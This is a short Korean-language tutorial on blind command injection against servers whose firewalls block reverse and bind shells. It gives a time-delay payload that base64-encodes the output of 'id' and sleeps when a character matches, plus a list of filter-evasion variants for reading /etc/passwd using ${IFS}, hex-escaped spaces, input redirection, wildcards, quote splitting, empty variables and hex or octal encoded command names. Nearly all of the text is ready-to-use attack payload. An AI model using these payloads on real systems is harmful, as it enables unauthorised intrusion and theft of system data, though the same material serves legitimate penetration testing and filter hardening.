이번 글은 네트워크의 인 / 아웃 바운드 제한이 있을때 공격하는 방법에 관한 글이다.
공격 대상 서버에 네트워크 방화벽을 설정한 경우 리버스 쉘 / 바인드 쉘을 이용한 공격은 어려울 수 있다. 이런 경우 참 / 거짓 비교문으로 데이터를 알아낼 수 있다.
시간 지연
id | base64 -w 0
bash -c "a=\$(id | base64 -w 0); if [\${a:0:1} == 'd' ]; then sleep 2; fi;"
에러
cat${IFS}/etc/passwd
X=$'\x20';cat${X}/etc/passwd
cat</etc/passwd
/bin/c?t
c''a""t
c${invalid_variable}a${XX}t
"\x69\x64"
'\151\144'
'\x69\x64'